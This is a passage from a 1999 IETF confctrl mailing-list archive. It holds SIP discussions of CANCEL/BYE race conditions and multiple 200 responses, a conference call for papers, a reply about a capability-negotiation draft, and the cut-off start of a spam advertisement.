completion of a transaction; otherwise, the behavior is normal. 


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug 16 15:32:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA25033
	for confctrl-outgoing; Mon, 16 Aug 1999 15:32:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA25028
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 15:32:29 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA12562
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 15:32:27 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 16 18:31:00 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.99])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id SAA27926;
	Mon, 16 Aug 1999 18:31:22 -0400 (EDT)
Message-ID: <37B89186.8F1A4AA@bell-labs.com>
Date: Mon, 16 Aug 1999 18:32:38 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Alex Doyle <alex@broadsoft.com>, confctrl@ISI.EDU
Subject: Re: Multiple 200 responses?
References: <199908132111.QAA05270@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Adam B. Roach" wrote:
> 
> Example 1:
> 
> Client A sends an INVITE to a forking proxy; it forks the INVITE
> to Clients B and C. Client B answers at about the same time as C.
> Client B's 200 arrives at the proxy first, so the proxy sends a CANCEL
> to Client C (who has already sent his INVITE 200 response). The
> proxy forwards Client B's 200 OK to Client A.
> 
> Now, when Client C's INVITE 200 OK hits the proxy, what is the
> proxy to do? For a variety of reasons, it is most sensible to
> forward this 200 to Client A, since Client A is the only entity
> that can tear down (or do anything else appropriate to) the session.
> 
> Note that Client C will not change session state upon receipt of the
> proxy's CANCEL, since he has already sent an INVITE 200.
> 
> So Client A has received a 200 OK from *both* Clients B and C.
> Both clients think they have a valid session with Client A.
> 
> How to handle this?  I'd say that it would be perfectly acceptable
> to send a BYE to the second 200 response. I've discussed this exact
> situation with both Jonathan and Henning, and they both seem to
> think it's a problem, but no solution has been proposed yet...

I believe there are several reasonable things to do:

1. Send a BYE to one or the other (although ACK both, see my previous
email)
2. Send a BYE to both (ACK both still)
3. Accept both. The caller is now effectively in two calls (note that
they do share the same Call-ID, though).
4. Accept both, and then turn the resulting two calls into a multi-party
call using the call control stuff.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug 16 16:08:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA26646
	for confctrl-outgoing; Mon, 16 Aug 1999 16:08:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA26641
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 16:08:13 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17495
	for <confctrl@ISI.EDU>; Mon, 16 Aug 1999 16:08:12 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA04023;
	Mon, 16 Aug 1999 19:08:11 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA01342;
	Mon, 16 Aug 1999 19:08:10 -0400 (EDT)
Message-ID: <37B899D5.2A9F04BB@cs.columbia.edu>
Date: Mon, 16 Aug 1999 19:08:05 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
CC: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jorge.Sanchez@ebc.ericsson.se, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908111526.KAA28134@b04a24.exu.ericsson.se> <37B844DC.EF27D759@cs.columbia.edu> <37B887F5.8E3D7AF2@bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> 
> The issue, as I recall, was to how the BYE is used. There are two
> possibilities:
> 
> 1. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> sends a CANCEL. Under normal circumstances, this will arrive before any
> UAS has answered. The UAC receives a 200 OK to the CANCEL immediately
> (since its locally generated by the first proxy), and then a 487 Request
> Cancelled response later on, after its been passed back from the UAS's,

Assuming, of course, that there were no lower-numbered responses from
somewhere else in the pipe. 

> through the proxies, and back to the UAC. Problem is, a 200 OK and a
> CANCEL may "pass on the wire". In this case, the UAC still gets a 200 OK
> to the request. So, it sends an ACK (?), and then hangs up with a BYE.
> Note that the ACK and BYE both have tags, as they are directed at a
> specific user. In really oddball cases, there may be multiple 200 OK's,
> and the UAC must send an ACK (?) and then a BYE for each (always with
> tags matching the tag in the 200 OK).
> 
> 2. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> sends a BYE. This BYE has no tag in it (as there has not been any final
> responses). The BYE (hopefully) follows the same set of proxies as the
> original INVITE (there is no Route header either), and reaches the same
> set of UAS's as the INVITE. Each of those then sends a 200 OK to the
> BYE, and some kind of error response to the INVITE. The UAC will
> therefore see a 200 OK to its BYE, and an error response to its INVITE.
> However, there is also a race condition here. The BYE and a 200 OK to
> the INVITE may pass on the wire. Thus, the UAC may see a 200 OK to the
> INVITE, and a 200 OK to the BYE. In this case, though, the UAC doesn't
> need to do anything else, since the BYE will still have caused the call
> to hang up. This case can yield odd results if the BYE reaches a
> different set of UAS's than the INVITE. Then, the UAC may still receive
> a 200 OK to the BYE (since one of the UAS's responded with a 200 OK),
> but the call is still active with some other UAS which did not get the
> BYE. This would be really bad, in fact.

I agree that (1) is cleaner in that each transaction is either canceled
or any call state explicitly removed via BYE, but (2) may still work,
sort of.

The UAS that didn't get the BYE will send a 200 (worst-case; if it sends
something else, no harm is done). At that point, the UAC will get the
200, and will send another BYE, with tags and direct via Contact. Or, if
it is stupid and lost all memory of ever having dialed that Call-ID, it
won't send anything (no ACK) and the other side will time out after
retransmitting the 200. This is not great, as the callee presumably has
to assume that the call exists until the 200 retransmissions ceases
rather than waiting for the ACK.

> 
> I used to think the right approach is (2), but after discussing it with
> Igor, Adam and others, and thinking about it some more, I'm beginning to
> think (1) might be better. The case of one side thinking the call is
> active, and the other thinking its not, is quite bad. The only issue
> here is whether to send an ACK to the INVITE in this case. I'm inclined
> to say yes, so that the effect of a CANCEL is really just to speed up
> completion of a transaction; otherwise, the behavior is normal.

I think it would be best to have the transactions complete as much as
possible. 

The UAC should send an ACK to stop the retransmission of the 487 by
either the nearest stateful proxy or the UAS.

Let's see if we can formulate a set of reasonably simple rules for this:

- Once an INVITE has been sent, the UAC has to be prepared to ACK final
responses even after hanging up. (The final response contains enough
information to formulate the ACK, so the UAC wouldn't have to keep
call-state.)

- If a UAC receives a 200 response [for a call it has cancelled | call
that is not currently active], it sends a BYE to the Contact address or
>From address, if available.

One question is when a UAC that wants to hang up can stop sending
CANCELs and just send a BYE. After all, it could happen that it received
the first 200, but the proxy didn't CANCEL the other pending calls. One
simple rule is after the (first) ACK.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Aug 17 01:54:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA16978
	for confctrl-outgoing; Tue, 17 Aug 1999 01:54:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA16973
	for <confctrl@zephyr.isi.edu>; Tue, 17 Aug 1999 01:54:45 -0700 (PDT)
Received: from hotmail.com (law-f126.hotmail.com [209.185.131.189])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA25252
	for <confctrl@isi.edu>; Tue, 17 Aug 1999 01:54:43 -0700 (PDT)
Received: (qmail 63017 invoked by uid 0); 17 Aug 1999 08:53:58 -0000
Message-ID: <19990817085358.63016.qmail@hotmail.com>
Received: from 202.141.71.172 by www.hotmail.com with HTTP;
	Tue, 17 Aug 1999 01:53:55 PDT
X-Originating-IP: [202.141.71.172]
From: "Simar Deep Singh" <sds_iitd@hotmail.com>
To: server@tenet.berkeley.edu
Cc: salilga@hotmail.com, erahul@hotmail.com
Subject: index Papers
Date: Tue, 17 Aug 1999 14:23:55 IST
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I came across the Survey of Distributed Multimedia Research, Standards and 
Products.

I am interested to know more about the use of multimedia as an effective 
tool for learning and for creative problem solving.

I shall be glad if you could refer me some sites/ readings etc or send me 
something related to the subject.


regards


Simar Deep Singh

Department of Management Studies
Indian Institute of Technology
New Delhi
India


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Tue Aug 17 04:13:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA21160
	for confctrl-outgoing; Tue, 17 Aug 1999 04:13:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21155
	for <confctrl@zephyr.isi.edu>; Tue, 17 Aug 1999 04:13:23 -0700 (PDT)
Received: from razor.arnes.si (razor.arnes.si [193.2.1.80])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA29596
	for <confctrl@isi.edu>; Tue, 17 Aug 1999 04:13:21 -0700 (PDT)
Received: from wilfred (unknown [193.2.1.243])
	by razor.arnes.si (Postfix) with SMTP id C65D8BEC2C
	for <confctrl@isi.edu>; Tue, 17 Aug 1999 13:12:43 +0200 (MET DST)
Received: by localhost with Microsoft MAPI; Tue, 17 Aug 1999 12:18:38 +0200
Message-ID: <01BEE8AA.A2C18B30.chris@arnes.si>
From: Chris van der Merwe <chris@arnes.si>
Reply-To: "chris@arnes.si" <chris@arnes.si>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Date: Tue, 17 Aug 1999 12:18:37 +0200
Organization: Arnes
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 0 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



From confctrl-owner  Wed Aug 18 05:04:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA13687
	for confctrl-outgoing; Wed, 18 Aug 1999 05:04:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13679
	for <confctrl@zephyr.isi.edu>; Wed, 18 Aug 1999 05:04:15 -0700 (PDT)
Received: from gate.colmar.uha.fr (nscolmar.colmar.uha.fr [194.167.108.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA10775
	for <confctrl@isi.edu>; Wed, 18 Aug 1999 04:55:31 -0700 (PDT)
From: conf@colmar.uha.fr
Received: by gate.colmar.uha.fr; (8.8.8/1.3/10May95) id NAA06952; Wed, 18 Aug 1999 13:24:33 +0200 (MET DST)
Received: from somewhere by smtpxd
Message-Id: <3.0.5.32.19990818152833.009116c0@colmar.colmar.uha.fr>
X-Sender: conf@colmar.colmar.uha.fr
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Wed, 18 Aug 1999 15:28:33 +0200
To: conf@colmar.colmar.uha.fr
Subject: ECUMN'2000
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA13680
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please feel free to circulate the CFP to interested colleagues. 
Accept our sincere apologies if you receive multiple copies of this CFP.

----------------------------------------------------------------------------
---

 	 	PRELIMINARY CALL FOR PAPERS

1st IEEE European Conference on Universal Multiservice Networks
IP Networks Versus Conventional Switched Networks
ECUMN'2000
October 16-18, 2000 - CREF, Colmar, France


URL: http://iutsun1.colmar.uha.fr/ECUMN2000.html

Sponsors are the following national scientific societies in Europe, which
cooperate under the roof of: EUREL, Brussels, Belgium: AEI, Milano (Italy),
IEE, London (UK), ÖVE/GIT, Vienna (Austria), SEE, Paris (France), SEV/ITG,
Fehraltorf, (Switzerland), VDE/ITG, Frankfurt (Germany) as well as the IEEE
Communications and Computer.

Supported by:
France Telecom
Alcatel
Newbridge
Other Supporters pending:


Conference Scope:

This conference follows the two successful ATM conferences events held in
Colmar, France in 1998 and 1999. The conference scope has been extended to
deal with the different topics related to Multiservice Network
Architectures, and Implementation, including among others, protocols,
signaling, traffic flow, addressing schemes, …

Fundamental questions still have to find an answer, such as:

How will the Internet, symbol of freedom, compete with the world of
traditional carrier networks or cooperate with it? 
Will alternate Technologies be needed to meet high level quality of service
requirements. 
What restrictions, if any, will result on the desired degree of freedom. 

Emphasis shall be put upon network convergence, including fixed/mobile
convergence  satisfying the needs of person to person communications, as
well as  Information and Entertainment applications 

With such a variety of problems to be solved, and such high economical
interests at stake there is a definite interest to exchange ideas,
technical results and proposals between the academic and industrial
communities and this is the major goal of the conference.

The scope of ECUMN'2000 encompasses but is not limited to:

Evolution of Telecommunication Networks Architecture:
	*	Core network
	*	Access networks
	*	CPN (Customer Premise Networks including home networks)
	*	Multiservice mobile networks
	*	Interoperability issues, Interfaces and Reference points
Packet, frame and cell protocols:
	*	Addressing
	*	Multicasting
	*	Switching and routing
	*	Signaling
	*	Traffic control and QOS
Network management and control:
	*	Network design - Migration strategies
	*	Active networks versus Intelligent networks
Service impact (multimedia, VPN, ...) on network architecture:
	*	Fixed-Mobile Convergence
	*	Packetized voice
	*	Experimentation and fields trials

Instructions for Authors

Mail four paper versions or E-mail preferably in Word 6 format, or
alternately a postscript version of a 2000-word extended abstract
summarizing an original work. All the manuscripts must be written in
English. The top of the first page of each paper should include the title
of the paper, authors' name, position, address, telephone and fax numbers,
Email of the author responsible for correspondence and a list of four
keywords at least. 

Authors of accepted papers will be invited to submit full-length
manuscripts for inclusion in the proceedings. All submitted papers should
be sent to the following address: 

Pascal LORENZ 
University of Haute Alsace 
IUT - Department GTR 
34 rue du Grillenbreit 
68008 Colmar, France 
Phone: 33 (0)389202366 Fax: 33 (0)389202359 Mobile: 33 (0)603658042 
E-mail: lorenz@colmar.uha.fr 

Important Deadlines:

Extended abstract due: January 10, 2000
Notification of acceptance: April 20, 2000
Camera-ready full papers due (2 columns, 8 pages max): June 20, 2000

Best papers will be forwarded for consideration in a special issue of the
journal "Annals of telecommunications".

TUTORIALS AND WORKSHOPS

Tutorials and workshops provide overviews of current high interest topics.
Proposals for half of full day tutorials are due by January 10, 2000.


Conference Committees

Organizing Committee

General Chair: Pascal Lorenz University of Haute Alsace France
Technical Program Chair: Annie Gravey, France Telecom CNET
Tutorials Chair: To be defined
Learned Societies Liaison Chair: Renato Israel SEE
Prosper Chemouil (France) - France Telecom CNET
Michel Levy (France) -. Alcatel
Jean-Louis Pernin (France) - Consultant
Guy Pujolle (France) - University of Versailles-Saint-Quentin
Sylvie Ritzenthaler (France) - Newbridge
Pierre Rolin (France) - France Telecom CNET

Scientific Program Committee:

H. Afifi (France) - ENST Bretagne
E. Biersack (France) - Eurecom
M. Boari (Italy) - University of Bologna
D. Bonjour (France) - France Telecom CNET 
T. Braun (Switzerland) - University of Berne
P. Brown (France) - France Telecom CNET
P. Chemouil (France) - France Telecom CNET
G. Colombo (Italy) - CSELT
J.P. Coudreuse (France) - Mitsubishi
W. Dabbous (France) - INRIA
A. Danthine (Belgium) - University libre of Liège
M . Diaz (France) - LAAS
M. Erradi (Morocco) - ENSIAS 
S. Fdida (France) - LIP6
G. Fiche (France) - Alcatel CIT
A. Gravey (France) - France Telecom CNET
S.J. Halme (Finland) - Helsinki University of Technology
G. Hébuterne (France) - INT
H.G. Hegering (Germany) - University of Munich
D. Hutchinson (UK) - Lancaster
R. Israel (France) - SEE 
A. Jajszczyk (Poland) - University of Mining & Metallurgy
M. Joubert (France) - Cegetel
F. Kamoun (Tunisia) - ENSI 
M. Karpov (Russia) - St Petersburg University
P. Key (UK) - Microsoft
D. Kofman (France) - ENST Paris
U. Korner (Sweden) - University of Lund
U . Krieger (Germany) - Deutsche Telecom
P. Kuhn (Germany) - University of Stuttgart
G.S. Kuo (Taiwan) - National Central University
M. Labetoulle (France) - Institut Eurecom Sophia-Antipolis
M. Le Boudec (Switzerland) - EPFL
F. Le Faucheur (France) - Cisco
G. Leduc (Belgium) - University of Liege
Y. Legrand (France) - Bouygues
M. Levy (France) - Alcatel
P. Lorenz (France) - University of Haute Alsace 
M. Loukola (Finland) - Helsinki University of Technology
B. Maglaris (Greece) - National Technical University Athens
H. Maher (Switzerland) - EPFL
Z. Mammeri (France) - University of Toulouse 
S. Martignoni (Switzerland) - Ascom TechLtd
N. Mastorakis (Greece) - Military Institutions of University Education
U. Mocci (Italy) - FUB
M. Nunes (Portugal) - IST/INESC
J.J. Pansiot (France) - University of Strasbourg
J.L. Pernin (France) - Consultant
G. Petit (Belgium) - Alcatel Anvers
M. Potts (Switzerland) - Martel 
G. Pujolle (France) - University of Versailles-Saint-Quentin
S. Rao (Switzerland) - Ascom 
M. Renaldo (France) - SAGEM
M. Riguidel (France) - Thomson
S. Ritzenthaler (France) - Newbridge 
J. Roberts (France) - France Telecom CNET
P. Rolin (France) - France Telecom CNET 
R. Schutz (France) - CS Telecom
H. Tobiet (France) - Clemessy 
S. Tohme (France) - ENST Paris
L. Toutain (France) - ENST Bretagne
P. Tran Gia (Germany) - University of Würzburg
P. Van Heck (The Netherlands) - Erasmus University
P. VanMieghem (The Netherlands) - University of Delft
E. Vazquez Gallo (Spain) - University of Madrid 
V.A. Villagra (Spain) - University of Madrid
M. Villen (Spain) - Telefonica I+D






From confctrl-owner  Wed Aug 18 09:16:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23364
	for confctrl-outgoing; Wed, 18 Aug 1999 09:16:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23359
	for <confctrl@zephyr.isi.edu>; Wed, 18 Aug 1999 09:16:03 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.200.16] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24944
	for <confctrl@ISI.EDU>; Wed, 18 Aug 1999 09:15:53 -0700 (PDT)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with ESMTP id SAA20698;
	Wed, 18 Aug 1999 18:15:25 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id SAA09088;
	Wed, 18 Aug 1999 18:15:26 +0200 (MET DST)
To: Graham Klyne <GK@Dial.pipex.com>
Cc: <confctrl@ISI.EDU>, <megaco@standards.nortelnetworks.com>
Subject: Re: draft-ott-mmusic-cap-00.txt
References: <3.0.32.19990726142846.01606ad0@pop.dial.pipex.com>
From: Dirk Kutscher <dku@informatik.uni-bremen.de>
Date: 18 Aug 1999 18:15:26 +0200
In-Reply-To: Graham Klyne's message of Mon, 26 Jul 1999 14:32:28 +0100
Message-ID: <cdpv0lqd41.fsf@daemon.informatik.uni-bremen.de>
Lines: 148
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Graham" == Graham Klyne <GK@dial.pipex.com> writes:

    Graham> I have just read through your above-mentioned draft with
    Graham> some interest, as it closely parallels work with which I
    Graham> have been involved.  For the most part, I shall not make
    Graham> detailed comments, but shall try to address some broader
    Graham> issues about what I see as the relationship between your
    Graham> draft and the IETF CONNEG work.

Graham,

Thank you for your comments on the draft and please excuse the rather
long delay in answering.

Most of your notes make a lot of sense to me. Here are some comments
from my side:

You correctly identified some deficits of the specification that need
to be worked on: The relation between the system model, the mentioned
requirements and the specified description language will be made
explicit.

You are right in emphasizing the similarities between the conneg work
and our draft.

    Graham> - In section 1.3 where you discuss relationship to other
    Graham> developments, while what you say about the CONNEG work
    Graham> seems generally reasonable, you do not explain what is
    Graham> accomplished by your proposal that is not accomplished by
    Graham> the CONNEG work.

The last paragraph in that section states that we aim for a simpler
solution, so simplicity and probability of being implemented are the
main characteristics that we thought that our approach can accomplish
in a better way. We have therefore deliberately chosen the primitive
"basic description language" as a representation.


    Graham> - 2.4.  Collapsing Algorithm

    Graham>    The objective of the collapsing algorithm is to take
    Graham>    capability description sets from each end system in
    Graham>    order to find a set of media-types, encodings and
    Graham>    features that are supported by all end system, or, if
    Graham>    this is not possible, to find a subset that would
    Graham>    exclude as few systems as possible.

    Graham> How does your algorithm act to find a subset to "exclude
    Graham> as few systems as possible"?

Yes, this is still to be defined.


    Graham> I also note that your collapsing algorithm does not handle
    Graham> cases where different constraints are applied to some
    Graham> given feature (e.g. one party might specify "fps<=30" and
    Graham> another might specify "fps=15" for a video frame rate).

Right, it would be required to use "fps" consistently either with a
less-or-equal-than-comparable or a selection-of-fixed-values type.
For simplification we decided not to allow symbolic values to be
less-or-equal-than-comparable.

    Graham> - 3.  Specification of the Decription Language

    Graham> As far as I can tell, your description language is
    Graham> semantically a subset of that described in RFC 2533; your
    Graham> "Basic description language" being equivalent to
    Graham> Disjunctive Normal Form of the CONNEG syntax, and your
    Graham> "Concise Description Language" being closer to the general
    Graham> CONNEG syntax form.

True, the idea was exactly to provide a subset of RFC 2533's
functionality for expressing feature sets, while allowing for
"non-collapsing parameters" and the definition of "simultaneous
capabilities".

The proposal we made in the draft actually tries to accomplish a set
of different objectives:

1) provide an abstract model of capability negotiation and session
   descriptions for multiparty conferences that can be used
   to gather some requirements for a capability description framework.
2) define a syntax and a framwork for capability definitions;
3) define a syntax for session descriptions and provide a migration
   path from currently deployed standards.

While the draft proposes to consider a successor of the Session
Description Protocol (SDP) it is unclear at this time if the mmusic
working group is going to adopt this (or the topic of multiparty
capability negotiation in general) as a work item.

Providing session description functionality does not only involve
feature set definitions and feature match algorithms as currently
defined in RFC 2533 but also additional facilities to allow for
unnegotiable parameters of session descriptions.

As you noted, the draft specification does currently no meet all of
the mentioned demands itself, because some things are in a rather
premature state, requiring further discussion in the mmusic group.


    Graham> - 6.  Composed Configurations

    Graham> If I understand your intent correctly, I note that the
    Graham> CONNEG work includes a concept of auxiliary predicates
    Graham> that can be used to label configurations.

    Graham> We are also working on another proposal
    Graham> <draft-ietf-conneg-feature-hash-xx.txt> for labelling of
    Graham> arbitrary feature sets using an MD5-hash-based identifier.


Right, auxiliary predicates can be used to factor out filter
expression. As I understand RFC2533 and
draft-ietf-conneg-feature-hash-02, the main objective is to allow for
more convenient notations and to enable the use of references to
external feature set expressions. Since auxiliary predicates are
expanded before the conversion to DNF for the feature matching
process, any reference to the named predicate is lost.

When expressing capabilities for redundant encodings (which we deemed
to be one application of composed configurations) this is
problematic. (One should note that, at this time, our proposal does not
contain a solution either).

Also, I have a problem with what we call "non-collapsing
parameters". I note that RFC 2533 has the concept of "parameters" that
can be attached to any filter value in a predicate. However, I don't
see how these parameters, including q-values for user preferences, are
handled in a feature match process.

So, summarizing, we acknowledge the semantic simliarities between RFC
2533 and our proposal. It is certainly worthwhile to explore the
possibility to build on RFC 2533 for specifying a description and
negotiation framework for multiparty cooperation. Resting upon some of
conneg's work we decided not to do so for this first draft because it
was not completely understood how to implement all aspects of the
system model. The objective was to raise interest in mmusic group and
to initiate the discussion.

We would be happy to discuss the open issues within the conneg and/or
mmusic group as soon as a requirement and working group agenda has
taken place in mmusic concerning this topic.


-- 
	Dirk

From confctrl-owner  Wed Aug 18 22:49:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA26469
	for confctrl-outgoing; Wed, 18 Aug 1999 22:49:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA26461
	for <confctrl@zephyr.isi.edu>; Wed, 18 Aug 1999 22:49:15 -0700 (PDT)
Received: from mx1.magmacom.com (mx1.magmacom.com [206.191.0.217])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA03639
	for <confctrl@isi.edu>; Wed, 18 Aug 1999 22:49:14 -0700 (PDT)
From: pplegal@hotmail.com
Received: from mail3.magma.ca (mail3.magma.ca [206.191.0.221])
	by mx1.magmacom.com (8.9.1a/8.9.1) with ESMTP id BAA17184;
	Thu, 19 Aug 1999 01:48:45 -0400 (EDT)
Received: from cyberblitz.com (harris.magma.ca [209.217.80.7])
	by mail3.magma.ca (8.9.3/8.9.3) with ESMTP id BAA11952;
	Thu, 19 Aug 1999 01:48:46 -0400 (EDT)
Received: from 160.92.127.3 (01-024.033.popsite.net [216.3.182.24])
	by cyberblitz.com (8.9.1/8.9.1) with SMTP id BAA28990;
	Thu, 19 Aug 1999 01:53:11 -0400 (EDT)
Message-ID: <000079522561$00007194$00004600@160.92.127.3>
To: <To.all.our.friends.@cyberblitz.com>
Subject: PERSONAL POSTCARDS - PART TIME BUSINESS - FULL TIME INCOME!
Date: Thu, 19 Aug 1999 00:35:14 -0400
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML></P><P ALIGN=3DCENTER><FONT  COLOR=3D"#0000ff" SIZE=3D4 PTSIZE=3D12 F=
AMILY=3D"SCRIPT" FACE=3D"Lucida Calligraphy" LANG=3D"0"><B>The Hottest Bus=
iness Opportunity to Hit<BR>
the U.S. this Year!</FONT><FONT  COLOR=3D"#000000" SIZE=3D4 PTSIZE=3D12></=
B><BR>
</FONT><FONT  SIZE=3D3 PTSIZE=3D10><BR>
</FONT><FONT  COLOR=3D"#000040" SIZE=3D4 PTSIZE=3D12><B>This is not a MLM =
Program !<BR>
</FONT><FONT  SIZE=3D3 PTSIZE=3D10></B> </FONT><FONT  COLOR=3D"#000000" SI=
ZE=3D3 PTSIZE=3D10><BR>
</FONT><FONT  COLOR=3D"#800080" SIZE=3D3 PTSIZE=3D10><B>Earn Full Time Inc=
ome on a Part Time Basis !!!<BR>
<BR>
</FONT><FONT  COLOR=3D"#ff8040" SIZE=3D2 PTSIZE=3D8 FAMILY=3D"SANSSERIF" F=
ACE=3D"Arial" LANG=3D"0">New Photo Postcard vending machines which put you=
r face on a postcard<BR>
are a smashing success throughout Europe.</FONT><FONT  SIZE=3D3 PTSIZE=3D1=
0 FAMILY=3D"SCRIPT" FACE=3D"Lucida Calligraphy" LANG=3D"0"><I><BR>
</FONT><FONT  COLOR=3D"#800080" SIZE=3D3 PTSIZE=3D10><BR>
</FONT><FONT  COLOR=3D"#000000" SIZE=3D2 PTSIZE=3D8 FAMILY=3D"SANSSERIF" F=
ACE=3D"Arial" LANG=3D"0"></I>Now for the first time these machines are ava=
ilable in the U.S. <BR>
The U.S. market will grow to thousands of machines within the next <BR>
12-18 months according to industry experts. We are seeking qualified indiv=
iduals<BR>
who are looking to take advantage of a virtually untapped market opportuni=
ty in<BR>
their area. There are retail locations across the country ......waiting ! =
<BR>
<BR>
</FONT><FONT  COLOR=3D"#0000ff" SIZE=3D4 PTSIZE=3D12 FAMILY=3D"SCRIPT" FAC=
E=3D"Lucida Calligraphy" LANG=3D"0"><I>Timing is Everything !</FONT><FONT =
 SIZE=3D3 PTSIZE=3D10></I><BR>
<BR>
</FONT><FONT  COLOR=3D"#000000" SIZE=3D2 PTSIZE=3D8 FAMILY=3D"SANSSERIF" F=
ACE=3D"Arial" LANG=3D"0">We have developed the new self-service Personal P=
